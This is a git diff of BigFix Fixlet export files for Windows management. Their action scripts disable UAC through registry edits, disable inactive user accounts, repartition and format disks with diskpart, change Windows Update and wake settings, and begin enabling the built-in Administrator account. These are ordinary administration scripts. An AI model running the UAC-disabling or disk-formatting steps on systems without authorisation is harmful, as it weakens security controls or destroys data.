+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2019-03-04</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 06 Mar 2019 18:16:45 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection false
+delete __createfile
+Createfile until END_OF_FILE
+Windows Registry Editor Version 5.00
+
+[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]
+&quot;ConsentPromptBehaviorAdmin&quot;=dword:00000000
+&quot;EnableLUA&quot;=dword:00000000
+
+END_OF_FILE
+delete uac.reg
+move __createfile uac.reg
+
+waithidden regedit /s uac.reg
+</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Disable Wake-from-Standby by Magic Packet - Windows XP_Vista_Win7_2008 and Mac OS 10.4_10.5_10.6_10.7 (310).bes b/Sites/Windows Management/Fixlets/Fixlets/Disable Wake-from-Standby by Magic Packet - Windows XP_Vista_Win7_2008 and Mac OS 10.4_10.5_10.6_10.7 (310).bes
index 088f260eb..89ec43087 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Disable Wake-from-Standby by Magic Packet - Windows XP_Vista_Win7_2008 and Mac OS 10.4_10.5_10.6_10.7 (310).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Disable Wake-from-Standby by Magic Packet - Windows XP_Vista_Win7_2008 and Mac OS 10.4_10.5_10.6_10.7 (310).bes	
@@ -1,57 +1,57 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Disable Wake-from-Standby by Magic Packet - Windows XP/Vista/Win7/2008 and Mac OS 10.4/10.5/10.6/10.7
-  ID       : 310
-  Author   : besSupport
-  Domain   : BESC
-  Imported : 2012-10-17T13:14:47
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Disable Wake-from-Standby by Magic Packet - Windows XP/Vista/Win7/2008 and Mac OS 10.4/10.5/10.6/10.7</Title>
-    <Description><![CDATA[
-<TABLE><TBODY><TR><TD> <P>Network adapters can be configured to wake a computer from standby if they receive a Wake-on-LAN Magic Packet.</P> <P>This Fixlet will disable the ability&nbsp;for network adapters to wake the computer from standby. </P> <P><STRONG>Note:</STRONG> This does not affect a computers ability to Wake-on-LAN from the powered off or Hibernate power state.</P> <P><STRONG>Note: </STRONG>This&nbsp;Task is not&nbsp;applicable on computers designated as&nbsp;Last Man Standing.<BR></P></TD></TR></TBODY></TABLE>
-]]></Description>
-    <Relevance>(it = &quot;WinXP&quot; OR it = &quot;WinXP-2003&quot; OR it = &quot;WinVista&quot; OR it = &quot;Win7&quot; OR it = &quot;Win2008&quot; OR it = &quot;Win2008R2&quot; OR it = &quot;Mac OS X&quot;) of name of operating system</Relevance>
-    <Relevance>if ((it = &quot;WinXP&quot; OR it = &quot;WinXP-2003&quot; OR it = &quot;WinVista&quot; OR it = &quot;Win7&quot; OR it = &quot;Win2008&quot; OR it = &quot;Win2008R2&quot;) of name of operating system) then ((exists values whose(name of it = &quot;PnPCapabilities&quot; AND it as integer = 48 ) of keys whose(value &quot;Characteristics&quot; of it as integer = 132) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}&quot; of registry)) else (if (name of operating system =&quot;Mac OS X&quot;) then (if exists file &quot;/Library/Preferences/SystemConfiguration/com.apple.PowerManagement.plist&quot; then ((if it = 1 then true else false) of integer &quot;Wake On LAN&quot; of dictionary &quot;AC Power&quot; of dictionary &quot;Custom Profile&quot; of dictionary of file &quot;/Library/Preferences/SystemConfiguration/com.apple.PowerManagement.plist&quot;) else false) else false)</Relevance>
-    <Relevance>not exists settings whose(name of it contains &quot;PowerManagement_LastManStanding&quot; AND value of it = &quot;1&quot;) of client</Relevance>
-    <Category>Wake-on-LAN</Category>
-    <Source>BigFix</Source>
-    <SourceID>&lt;Unspecified&gt;</SourceID>
-    <SourceReleaseDate>2010-08-13</SourceReleaseDate>
-    <SourceSeverity>N/A</SourceSeverity>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 01 Aug 2012 01:09:07 +0000</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-first-propagation</Name>
-      <Value>Thu, 17 Nov 2011 19:28:18 +0000</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-domain_attributes</Name>
-      <Value>Manage_WFSBMP</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Action ID="Action506">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to disable Wake-from-Standby on all network adapters. </PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[if{name of operating system = "Mac OS X"}
-	wait pmset -a womp 0
-else if{(it = "WinXP" OR it = "WinXP-2003" OR it = "WinVista" OR it = "Win7" OR it = "Win2008" OR it = "Win2008R2") of name of operating system}
-	delete __appendfile
-	delete disableWakeFromStandby.reg
-appendfile {"Windows Registry Editor Version 5.00%0d%0a%0d%0a" & concatenation "%0d%0a"  of ( "[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}}\" & name of it &"]%0d%0a%22PnPCapabilities%22=dword:00000030%0d%0a")of keys whose (value "Characteristics" of it as integer  = 132 AND (not exists value "PnPCapabilities"  of it OR value "PnPCapabilities"  of it as integer != 48 )) of key "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}}" of registry}
-copy __appendfile disableWakeFromStandby.reg
-waithidden cmd /c regedit -s disableWakeFromStandby.reg
-action requires restart
-endif]]></ActionScript>
-    </Action>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Disable Wake-from-Standby by Magic Packet - Windows XP/Vista/Win7/2008 and Mac OS 10.4/10.5/10.6/10.7
+  ID       : 310
+  Author   : besSupport
+  Domain   : BESC
+  Imported : 2012-10-17T13:14:47
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Disable Wake-from-Standby by Magic Packet - Windows XP/Vista/Win7/2008 and Mac OS 10.4/10.5/10.6/10.7</Title>
+    <Description><![CDATA[
+<TABLE><TBODY><TR><TD> <P>Network adapters can be configured to wake a computer from standby if they receive a Wake-on-LAN Magic Packet.</P> <P>This Fixlet will disable the ability&nbsp;for network adapters to wake the computer from standby. </P> <P><STRONG>Note:</STRONG> This does not affect a computers ability to Wake-on-LAN from the powered off or Hibernate power state.</P> <P><STRONG>Note: </STRONG>This&nbsp;Task is not&nbsp;applicable on computers designated as&nbsp;Last Man Standing.<BR></P></TD></TR></TBODY></TABLE>
+]]></Description>
+    <Relevance>(it = &quot;WinXP&quot; OR it = &quot;WinXP-2003&quot; OR it = &quot;WinVista&quot; OR it = &quot;Win7&quot; OR it = &quot;Win2008&quot; OR it = &quot;Win2008R2&quot; OR it = &quot;Mac OS X&quot;) of name of operating system</Relevance>
+    <Relevance>if ((it = &quot;WinXP&quot; OR it = &quot;WinXP-2003&quot; OR it = &quot;WinVista&quot; OR it = &quot;Win7&quot; OR it = &quot;Win2008&quot; OR it = &quot;Win2008R2&quot;) of name of operating system) then ((exists values whose(name of it = &quot;PnPCapabilities&quot; AND it as integer = 48 ) of keys whose(value &quot;Characteristics&quot; of it as integer = 132) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}&quot; of registry)) else (if (name of operating system =&quot;Mac OS X&quot;) then (if exists file &quot;/Library/Preferences/SystemConfiguration/com.apple.PowerManagement.plist&quot; then ((if it = 1 then true else false) of integer &quot;Wake On LAN&quot; of dictionary &quot;AC Power&quot; of dictionary &quot;Custom Profile&quot; of dictionary of file &quot;/Library/Preferences/SystemConfiguration/com.apple.PowerManagement.plist&quot;) else false) else false)</Relevance>
+    <Relevance>not exists settings whose(name of it contains &quot;PowerManagement_LastManStanding&quot; AND value of it = &quot;1&quot;) of client</Relevance>
+    <Category>Wake-on-LAN</Category>
+    <Source>BigFix</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2010-08-13</SourceReleaseDate>
+    <SourceSeverity>N/A</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 01 Aug 2012 01:09:07 +0000</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-first-propagation</Name>
+      <Value>Thu, 17 Nov 2011 19:28:18 +0000</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-domain_attributes</Name>
+      <Value>Manage_WFSBMP</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Action ID="Action506">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to disable Wake-from-Standby on all network adapters. </PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[if{name of operating system = "Mac OS X"}
+	wait pmset -a womp 0
+else if{(it = "WinXP" OR it = "WinXP-2003" OR it = "WinVista" OR it = "Win7" OR it = "Win2008" OR it = "Win2008R2") of name of operating system}
+	delete __appendfile
+	delete disableWakeFromStandby.reg
+appendfile {"Windows Registry Editor Version 5.00%0d%0a%0d%0a" & concatenation "%0d%0a"  of ( "[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}}\" & name of it &"]%0d%0a%22PnPCapabilities%22=dword:00000030%0d%0a")of keys whose (value "Characteristics" of it as integer  = 132 AND (not exists value "PnPCapabilities"  of it OR value "PnPCapabilities"  of it as integer != 48 )) of key "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}}" of registry}
+copy __appendfile disableWakeFromStandby.reg
+waithidden cmd /c regedit -s disableWakeFromStandby.reg
+action requires restart
+endif]]></ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Disable Windows Update (26611).bes b/Sites/Windows Management/Fixlets/Fixlets/Disable Windows Update (26611).bes
index 402f5f46b..6f3749dba 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Disable Windows Update (26611).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Disable Windows Update (26611).bes	
@@ -1,35 +1,35 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Disable Windows Update
-  ID       : 26611
-  Author   : 6906AC99-CFAD-4BC2-8B69-999D8150433C
-  Domain   : BESC
-  Imported : 2019-03-14T05:05:36
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Disable Windows Update</Title>
-    <Description><![CDATA[&lt;enter a description of the problem and the corrective action here&gt; ]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>(exists value &quot;AutoUpdate&quot; whose (it != 1) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU&quot; of registry)</Relevance>
-    <Source>Brad Sexton</Source>
-    <SourceReleaseDate>2018-10-08</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 04 Dec 2018 21:37:41 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
-regset [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU] &quot;AutoUpdate&quot;=dword:0000001</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Disable Windows Update
+  ID       : 26611
+  Author   : 6906AC99-CFAD-4BC2-8B69-999D8150433C
+  Domain   : BESC
+  Imported : 2019-03-14T05:05:36
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Disable Windows Update</Title>
+    <Description><![CDATA[&lt;enter a description of the problem and the corrective action here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>(exists value &quot;AutoUpdate&quot; whose (it != 1) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU&quot; of registry)</Relevance>
+    <Source>Brad Sexton</Source>
+    <SourceReleaseDate>2018-10-08</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 04 Dec 2018 21:37:41 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+regset [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU] &quot;AutoUpdate&quot;=dword:0000001</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Disable inactive users (2549).bes b/Sites/Windows Management/Fixlets/Fixlets/Disable inactive users (2549).bes
index cb0bc0651..669fefc5f 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Disable inactive users (2549).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Disable inactive users (2549).bes	
@@ -1,40 +1,40 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Disable inactive users
-  ID       : 2549
-  Author   : sinucus
-  Domain   : BESC
-  Imported : 2013-08-07T12:51:37
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Disable inactive users</Title>
-    <Description>Creates a batch script to disable users who have not logged in for 30 days and are currently active. If their account is disabled, this will skip over them.</Description>
-    <Relevance>name of operating system as lowercase starts with &quot;win&quot;</Relevance>
-    <Relevance><![CDATA[exists users whose ((now - (last logon of it) > 30 * day) and name of it does not contain "$" and not account disabled flag of it)]]></Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2013-08-07</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 07 Aug 2013 19:48:11 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[delete __appendfile
-delete __disable.bat
-appendfile {("net user " & name of it & " /active:no%0d%0a") of users whose ((now - (last logon of it) > 30 * day) and name of it does not contain "$" and not account disabled flag of it)}
-copy __appendfile __disable.bat
-waithidden __disable.bat
-delete __appendfile
-delete __disable.bat]]></ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Disable inactive users
+  ID       : 2549
+  Author   : sinucus
+  Domain   : BESC
+  Imported : 2013-08-07T12:51:37
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Disable inactive users</Title>
+    <Description>Creates a batch script to disable users who have not logged in for 30 days and are currently active. If their account is disabled, this will skip over them.</Description>
+    <Relevance>name of operating system as lowercase starts with &quot;win&quot;</Relevance>
+    <Relevance><![CDATA[exists users whose ((now - (last logon of it) > 30 * day) and name of it does not contain "$" and not account disabled flag of it)]]></Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2013-08-07</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 07 Aug 2013 19:48:11 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[delete __appendfile
+delete __disable.bat
+appendfile {("net user " & name of it & " /active:no%0d%0a") of users whose ((now - (last logon of it) > 30 * day) and name of it does not contain "$" and not account disabled flag of it)}
+copy __appendfile __disable.bat
+waithidden __disable.bat
+delete __appendfile
+delete __disable.bat]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Disable inactive users (3873).bes b/Sites/Windows Management/Fixlets/Fixlets/Disable inactive users (3873).bes
index a8f494108..33bebfa29 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Disable inactive users (3873).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Disable inactive users (3873).bes	
@@ -1,40 +1,40 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Disable inactive users
-  ID       : 3873
-  Author   : sinucus
-  Domain   : BESC
-  Imported : 2014-10-09T07:03:55
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Disable inactive users</Title>
-    <Description>Creates a batch script to disable users who have not logged in for 30 days and are currently active. If their account is disabled, this will skip over them.</Description>
-    <Relevance>name of operating system as lowercase starts with &quot;win&quot;</Relevance>
-    <Relevance><![CDATA[exists users whose ((now - (last logon of it) > 30 * day) and name of it does not contain "$" and not account disabled flag of it)]]></Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2013-08-07</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 07 Aug 2013 19:48:11 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[delete __appendfile
-delete __disable.bat
-appendfile {("net user " & name of it & " /active:no%0d%0a") of users whose ((now - (last logon of it) > 30 * day) and name of it does not contain "$" and not account disabled flag of it)}
-copy __appendfile __disable.bat
-waithidden __disable.bat
-delete __appendfile
-delete __disable.bat]]></ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Disable inactive users
+  ID       : 3873
+  Author   : sinucus
+  Domain   : BESC
+  Imported : 2014-10-09T07:03:55
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Disable inactive users</Title>
+    <Description>Creates a batch script to disable users who have not logged in for 30 days and are currently active. If their account is disabled, this will skip over them.</Description>
+    <Relevance>name of operating system as lowercase starts with &quot;win&quot;</Relevance>
+    <Relevance><![CDATA[exists users whose ((now - (last logon of it) > 30 * day) and name of it does not contain "$" and not account disabled flag of it)]]></Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2013-08-07</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 07 Aug 2013 19:48:11 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[delete __appendfile
+delete __disable.bat
+appendfile {("net user " & name of it & " /active:no%0d%0a") of users whose ((now - (last logon of it) > 30 * day) and name of it does not contain "$" and not account disabled flag of it)}
+copy __appendfile __disable.bat
+waithidden __disable.bat
+delete __appendfile
+delete __disable.bat]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Diskpart Repartition - Shrink C_ Partition & Create M_ Partition (25433).bes b/Sites/Windows Management/Fixlets/Fixlets/Diskpart Repartition - Shrink C_ Partition & Create M_ Partition (25433).bes
index 3b1002522..59087f0fc 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Diskpart Repartition - Shrink C_ Partition & Create M_ Partition (25433).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Diskpart Repartition - Shrink C_ Partition & Create M_ Partition (25433).bes	
@@ -1,78 +1,78 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Diskpart Repartition - Shrink C: Partition & Create M: Partition
-  ID       : 25433
-  Author   : rdshift
-  Domain   : BESC
-  Imported : 2018-04-10T09:44:03
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Diskpart Repartition - Shrink C: Partition &amp; Create M: Partition</Title>
-    <Description><![CDATA[<P>Requests new partition size to be:</P>
-<OL>
-<LI>Maximum: 49% of drive size if&nbsp;at least&nbsp;59% of drive is free, leaving&nbsp;at least&nbsp;10% free
-<LI>The greater of:
-<OL>
-<LI>Current free space of drive less 10% of total drive&nbsp;size
-<LI>49% of free space of drive
-<LI>20 GB minimum</LI></OL></LI></OL>
-<P>Repartitioning will&nbsp;probably fail on dynamic and dynamic&nbsp;disks, but should work on both GPT and MBR.</P>
-<P>If you change the drive name (line 22) or drive letter (line 23), please also update the relevance to match.</P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[if (NOT (exists ((volumes of drives) whose (it = "MDT")) OR exists drive "M:")) then ((free space of drive of system folder / 1024 / 1024 / 1024 /*gigs*/) >= 20 /*gigs*/) else false]]></Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2018-03-02</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 04 Apr 2018 18:22:00 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// continue if {(last 1 of (selects "Partitions from Win32_DiskDrive" of wmi as string)) as integer < 4}
-
-// Preventative cleanup of unallocated space
-delete mdtreclaim.txt
-
-createfile until END
-select volume c
-extend noerr
-exit
-END
-
-move __createfile mdtreclaim.txt
-waithidden cmd.exe /c diskpart /s mdtreclaim.txt
-
-
-// Main repartition operation
-delete mdtdrive.txt
-
-createfile until END
-select volume c
-extend noerr
-shrink desired={if ((free space of drive of system folder / 1024 / 1024 ) - (total space of drive of system folder / 1024 / 1024 * 10/100)) > (total space of drive of system folder / 1024 / 1024 * 59/100 /* increased to 59% to account for leftover free space */) then (total space of drive of system folder / 1024 / 1024 * 49/100) else ((free space of drive of system folder / 1024 / 1024) - (total space of drive of system folder / 1024 / 1024 * 10/100))} minimum=20000
-create partition primary
-format quick fs=ntfs label="MDT" noerr
-assign letter="M"
-exit
-END
-
-move __createfile mdtdrive.txt
-waithidden cmd.exe /c diskpart /s mdtdrive.txt
-
-waithidden cmd.exe /c diskpart /s mdtreclaim.txt
-
-delete mdtdrive.txt
-delete mdtreclaim.txt]]></ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Diskpart Repartition - Shrink C: Partition & Create M: Partition
+  ID       : 25433
+  Author   : rdshift
+  Domain   : BESC
+  Imported : 2018-04-10T09:44:03
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Diskpart Repartition - Shrink C: Partition &amp; Create M: Partition</Title>
+    <Description><![CDATA[<P>Requests new partition size to be:</P>
+<OL>
+<LI>Maximum: 49% of drive size if&nbsp;at least&nbsp;59% of drive is free, leaving&nbsp;at least&nbsp;10% free
+<LI>The greater of:
+<OL>
+<LI>Current free space of drive less 10% of total drive&nbsp;size
+<LI>49% of free space of drive
+<LI>20 GB minimum</LI></OL></LI></OL>
+<P>Repartitioning will&nbsp;probably fail on dynamic and dynamic&nbsp;disks, but should work on both GPT and MBR.</P>
+<P>If you change the drive name (line 22) or drive letter (line 23), please also update the relevance to match.</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[if (NOT (exists ((volumes of drives) whose (it = "MDT")) OR exists drive "M:")) then ((free space of drive of system folder / 1024 / 1024 / 1024 /*gigs*/) >= 20 /*gigs*/) else false]]></Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2018-03-02</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 04 Apr 2018 18:22:00 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// continue if {(last 1 of (selects "Partitions from Win32_DiskDrive" of wmi as string)) as integer < 4}
+
+// Preventative cleanup of unallocated space
+delete mdtreclaim.txt
+
+createfile until END
+select volume c
+extend noerr
+exit
+END
+
+move __createfile mdtreclaim.txt
+waithidden cmd.exe /c diskpart /s mdtreclaim.txt
+
+
+// Main repartition operation
+delete mdtdrive.txt
+
+createfile until END
+select volume c
+extend noerr
+shrink desired={if ((free space of drive of system folder / 1024 / 1024 ) - (total space of drive of system folder / 1024 / 1024 * 10/100)) > (total space of drive of system folder / 1024 / 1024 * 59/100 /* increased to 59% to account for leftover free space */) then (total space of drive of system folder / 1024 / 1024 * 49/100) else ((free space of drive of system folder / 1024 / 1024) - (total space of drive of system folder / 1024 / 1024 * 10/100))} minimum=20000
+create partition primary
+format quick fs=ntfs label="MDT" noerr
+assign letter="M"
+exit
+END
+
+move __createfile mdtdrive.txt
+waithidden cmd.exe /c diskpart /s mdtdrive.txt
+
+waithidden cmd.exe /c diskpart /s mdtreclaim.txt
+
+delete mdtdrive.txt
+delete mdtreclaim.txt]]></ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Enable Administrator Account (615).bes b/Sites/Windows Management/Fixlets/Fixlets/Enable Administrator Account (615).bes
index d45c17902..c2e046472 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Enable Administrator Account (615).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Enable Administrator Account (615).bes	
@@ -1,45 +1,45 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Enable Administrator Account
-  ID       : 615
-  Author   : danielheth
-  Domain   : BESC
-  Imported : 2012-10-22T09:47:24
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Enable Administrator Account</Title>
-    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
-    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
-    <Relevance>exists local user &quot;Administrator&quot; OR exists local user &quot;TheAdministrator&quot;</Relevance>
-    <Relevance>account disabled flag of local user &quot;Administrator&quot; OR account disabled flag of local user &quot;TheAdministrator&quot;</Relevance>
-    <Category>Configuration</Category>
